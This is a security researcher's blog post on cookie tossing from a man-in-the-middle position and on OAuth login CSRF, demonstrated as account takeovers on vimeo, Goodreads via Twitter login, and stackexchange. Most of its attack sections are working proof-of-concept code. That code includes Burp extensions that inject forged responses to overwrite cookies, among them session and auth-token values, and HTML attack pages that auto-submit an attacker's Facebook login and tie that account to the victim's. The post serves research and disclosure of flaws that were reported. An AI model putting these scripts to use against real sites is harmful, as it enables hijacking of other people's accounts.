Cookie Tossing in the Middle

In the past I’ve talked about one way to get in the middle as an attacker and use Burp as a MiTM proxy. One very nice thing to do in this position is to write cookies. This is a small part of my Blackhat talk from March, with related posts here.

Bypassing Double Submit Cookies on Vimeo

Say, for example, you have a web app that uses double submit cookies to prevent CSRF. I talk about this too much. You can bypass this protection with XSS in a neighboring site, but here’s how to practically do it as an attacker in the middle (although there are a million ways to do this).

One example is vimeo.com. When I was checking for OAuth CSRF flaws, vimeo seemed to do pretty good. They sent a state parameter and as far as I could tell this piece was fine. But for their generic CSRF protection, I noticed they were using plain double submit cookies. So a default POST request might look like this – note how the highlighted xsrft cookie and token parameter are equal:

vimeo1

It turns out that if you change the CSRF cookie/POST parameter pair, as long as they are equal the request will go through. So for example, even though you can’t read the secret cookie/post parameters without an xss, you could set the cookie (token) equal to “a” and the post parameter (xsrft) also equal to “a”. This is classic double submit. Vimeo relies on the fact that cookies are hard to write to prevent CSRF. On the same network, we can defeat this easily even if the requests are over HTTPS and the cookies are set with “secure”. Here are the hack steps:

  1. Redirect traffic to route through my attacker box, (like with ettercap, or with python and scapy like how I show Here). The goal is to simply arp poison the network and pass through all traffic, except port 80 is redirected to localhost Burp.
  2. Write an oversimplified burp plugin that waits for a specific request on the target domain (e.g. vimeo). This is not necessarily a request initiated by the user, as we’ll be forcing the user to make this request later. If the plugin sees that request, write the xsrft cookie to a known value. Note this will even write over secure/HttpOnly cookies. Although secure can prevent a cookie from being read over HTTP, it does not prevent it being written over. Although HSTS headers can mitigate this somewhat in some browsers, unless they force HTTPS at the root domain and all subdomains, then we can probably force the app to consume our attacker cookie:

    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "vimeo.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "xsrft=bad111bad111; domain=vimeo.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "pwned!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Our attack page doesn’t totally make use of our man in the middle, but it does use it for setting the CSRF cookie. Note the iframe request to http://vimeo.com/asdfasdfasdfasdfasdfasdf – this response will be sent from the burp plugin we have in place. The rest of this attack is the same as my OAuth weakness post from a couple weaks ago. Obviously, there are a lot of improvements that could be made. If we were serious, we’d probably just wait for HTTP requests, insert Javascript into those to do our bidding for us. But this is just a demo.
    <html>
      <body>
       <script type="text/javascript">
    
       function fb_login() {
        return (window.open("./fb_login.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
       function vimeo_addlogin() {
         return (window.open("./vimeo_submit.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
    
       function pwn() {
         win1 = fb_login();
         //win1.close()
      }
    
       function pwn2() {
         win2 = vimeo_addlogin();
         //win1.close()
      }
    
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to vimeo</li>
       <li>First the cookies need to be set for vimeo.com. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>click "pwn2" - the easiest way to hide this is with 2 clicks</li>
       <li>An attacker now owns your vimeo account!</li>
       </ul>
    
       <!-- necessary to get cookies if we haven't visited facebook -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox></iframe>
       <!--Note this will set our vimeo cookies -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://vimeo.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      <a href="#" onclick="pwn2()">pwn2</a>
      </body>
    </html>
    
    

Here is the attack in action:

Logging Someone into Another site

There was some confusion on my last post with OAuth CSRF I think, about it only being a Facebook problem. I don’t believe this is true. Although Facebook should fix the CSRF on their login imo, in a variety of circumstances it’s still possible to do almost the same attack against sites using other identity providers, like Twitter, Google, etc. (even though these other ID providers don’t have CSRF in their login). One of these circumstances is if there is an XSS somewhere in an ID provider’s neighbor site (e.g. if feedburner.google.com has xss you could log someone in to your attacker Google account). Another of these circumstances is if there is a man in the middle, where you can just manufacture this xss. This is what I’m showing here.

We can modify the OAuth CSRF attack above just slightly, and a man in the middle can compromise these sites with Twitter instead of Facebook. Here are the hack steps.

  1. Redirect traffic to route through my attacker box, as illustrated Here. This simply arp poisons the network, and passes through all traffic, except port 80 is redirected to localhost Burp.
  2. Write a Burp Plugin to toss cookies similar to above. In this case, it will toss cookies into Twitter to log the victim in as the attacker
    
    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "twitter.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "_twitter_sess=BAh7EDoJdXNlcmwrB1DcLEM6D2NyZWF0ZWRfYXRsKwh3WImrPAE6DnJldHVy%250Abl90byJlaHR0cHM6Ly9hcGkudHdpdHRlci5jb20vb2F1dGgvYXV0aGVudGlj%250AYXRlP29hdXRoX3Rva2VuPVVGQ1pYamJaUGMySzNmaFVoWHZjM0Q4ZjAyZXJN%250AUU1oZmxKc21remxrOhNzaG93X2hlbHBfbGluazA6FWluX25ld191c2VyX2Zs%250Ab3cwOgxjc3JmX2lkIiVhMzc3YWM3NjQ1ODJlOTNhODY5YjgyNDVjMjc1YTEw%250AYyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFz%250AaHsABjoKQHVzZWR7ADoTcGFzc3dvcmRfdG9rZW4wOhBzdGF5X3NlY3VyZVQ6%250AG3Nlc3Npb25fcGFzc3dvcmRfdG9rZW4wOgdpZCIlMmU2OGZhNGVjYWY1MGUy%250AMTVkYjllOGU0MTYyMjdiNGE%253D--e649d4f0aa1f2c4108d1539caa322af0ae32c8a4;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023";
    document.cookie = "auth_token=05a111348a605f4f546e60e6584adc4d4c69eacf;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twid=u%3D1127013456%7C0skYHxGKiKD8EF9Yb1fQqI%2F5YVk%3D;Domain=.twitter;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twll=l%3D1360087643;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "Twitter Cookies Tossed!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Once again, continue with a nearly identical attack, but this time using Twitter as the identity provider instead of Facebook. Here is an example against Goodreads. In practice, this is essentially useless since Goodreads is over HTTP, but the same principles apply to sites over HTTPS.
    <html>
      <body>
       <script type="text/javascript">
    
       function pwn() {
         location = "http://www.goodreads.com/user/twitter_sign_in";
      }
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to goodreads</li>
       <li>First the cookies need to be set for twitter. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>An attacker now owns your goodreads account!</li>
       </ul>
    
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://twitter.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      </body>
    </html>
    
    

Here is a video of this in action. Again, what this is doing is arp poisoning the network, logging the victim in to the attacker’s twitter account, and then exploiting the OAuth CSRF. In retrospect, I should have picked on a site that uses HTTPS for better effect :)

Common OAuth issue you can use to take over accounts

TLDR; This is a post about a CSRF issue in OAuth I found where if a victim visited a malicious site while logged in, they could take over your account. At least stackexchange, woot.com, imdb, goodreads, soundcloud, myspace, foxnews, pinterest, groupon, huffingtonpost, foursquare, slideshare, kickstarter, and (sort of) vimeo were all vulnerable to this attack this year.

The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. Probably two more posts are coming, and I’ll post the whole talk and finished whitepaper relatively soon, unless someone else does :)

OAuth and OpenID are protocols that can allow authorization and authentication to applications in a cross domain way. It’s common for popular websites to use these protocols to allow users to login from various sources without having to have credentials for the specific site. For example, the sites I list in the tldr all allow logins from identity providers such as Facebook, twitter, or Google.

Here’s an image from Facebook on how this flow can work

fb_login

This sort of flow can be used to associate multiple accounts. For example, an application can have an account on the site, but allow users to tie their Facebook profiles as an additional login mechanism. By necessity this is a cross domain POST, and can be difficult to protect against CSRF.

Several papers have written about this in the past (http://stephensclafani.com/2011/04/06/oauth-2-0-csrf-vulnerability/, http://sso-analysis.org/) and the spec itself has a section pertaining to CSRF mitigation. The recommendation is generically to pass a state parameter to the identity provider. For this to work, it is necessary for this parameter to be unguessable and tied to the originating site session. Although theoretically these recommendations could be effective, it should come as no surprise that this is difficult to get right.

Most sites rely on the fact that a user is logged in to their own identity provider site (such as Google or Facebook). However, this trust can easily be broken. In the case of Facebook, the login is/was vulnerable to CSRF. Additionally, even if the identity provider login attempts proper CSRF protection, it’s almost always possible to force cookies and log the user in as an attacker.

The First Attack I thought of

Here’s a typical scenario. StackExchange has old accounts since the early days, but to make your life easier they want you to be able login with newer accounts, like your Facebook account. This looks like:

stackexchange

Using attacks like I’ve chatted about in the past here, here, here and here, I thought this may be vulnerable to something like this:

  1. Toss the cookies into the victim stackoverflow account
  2. The cookies used for auth may not be tied to the nonce sent to the identifier (e.g. facebook or Google)
  3. Associate the attacker’s account with the victim’s account and win!

This is kind of hard to test, since you have to map out all the cookies for each site.

Easier Attack

It turns out there’s an easier way (although above will probably be a problem for a while). Here is the easier way:

  1. Create an attacker identity provider account (e.g. Facebook)
  2. Grant the accessing application (e.g. stackoverflow) permissions to attacker Facebook
  3. Victim is logged in to accessing application.
  4. A malicious site does the following:
    1. Logs victim in to attacker’s Facebook by using CSRF on the Login, or by tossing cookies
    2. POSTs to the account association request
  5. Attacker Logs out of other sessions
  6. At this point an attacker completely controls the victim application account, and can usually perform various actions, such as deleting the other logins.

Out of all the applications tested (see below for most of them), all but one have proven vulnerable to this attack. Congratulations flickr, you’re the only site I looked at that seemed to do this without any issue :)

Stackexchange, woot.com, etc. Repro

There are a couple ways this similar vulnerability occurs, but I’ll spell out stackexchange first, since they were the first site I attempted this on. The stackexchange people were awesome – they responded in less than a day, and some dev was like “my bad”, and fixed it in just a few hours. Other sites took months to fix and never even talked to me about it really.

Here I’ve omitted things around reliability, logging the victim out, and sneakiness for the sake of simplicity (but I will cover this in a followup post soon. Really, I will, it was part of the blackhat talk too). The below repro is with Firefox inprivate mode, using Facebook. Here is a video showing what it should look like if you follow along.

Walking through the steps above with more stackexchange specific detail:

  • Create an attacker Facebook account
  • Give the application permission to the attacker’s account. Do not finish the entire flow here, just tell Facebook you want to give stackexchange access to everything

se_perm

  • Use the following script to login to Facebook. This particular technique is from Kotowicz for removing the referer on Facebook login. Note I have a more robust script that I developed after this here. Similarly, you can do attacks with other identity providers (Twitter, Google, etc) but you need to toss cookies into their domain, so it’s definitely more difficult.
//fb_login.html
 function post_without_referer() {
    // POST request, WebKit & Firefox. Data, meta & form submit trinity
   location = 'data:text/html,<html><meta http-equiv="refresh"
content="0; url=data:text/html,' +
              '<form id=dynForm method=POST
action=\'https://www.facebook.com/login.php?login_attempt=1\'>' +
              '<input type=hidden name=email value=yyy@live.com />' +
              '<input type=hidden name=pass value=xxxxxxxx/>' +
              '<input type=hidden name=default_persistent value=0 />' +
              '<input type=hidden name=timezone value=480 />' +
              '<input type=hidden name=locale value=en_US />' +
              '</form><script>document.getElementById(\'dynForm\').submit()</scri'+'pt>"></html>';
}
  post_without_referer();
  • Create an HTML page that logs in as the attacker and then ties the attacker account to the victim account.
<html>
  <body>
   <script type="text/javascript">

   function fb_login() {
    return (window.open("./fb_login.html", "_blank",
"status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
  }

   function stackexchange_addlogin() {
     document.getElementById("sForm").submit();
  }



   function pwn() {
     win1 = fb_login();
     setTimeout("stackexchange_addlogin()", 7000);
     //win1.close()
  }

   </script>

   <p>This is just meant to be a dirty/simple PoC, and makes very
little attempt at being stealthy</p>

   <p>To repro:</p>


   <ul>
   <li>login to stackexchange</li>
   <li>click "pwn"</li>
   <li>An attacker now owns your stackexchange account!</li>
   </ul>

   <!-- iframe necessary to get cookies if we haven't visited facebook 
          (needed to put a space modify to put on page)-->
    < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox>< /iframe>


    <form id="sForm"
action="http://stackexchange.com/users/authenticate" method="POST">
      <input type="hidden" name="oauth_version" value="2.0" />
      <input type="hidden" name="oauth_server"
value="https://graph.facebook.com/oauth/authorize"
/>
      <input type="hidden" name="openid_identifier" value="" />
    </form>



  <a href="#" onclick="pwn()">pwn</a>
  </body>
</html>

Read more of this post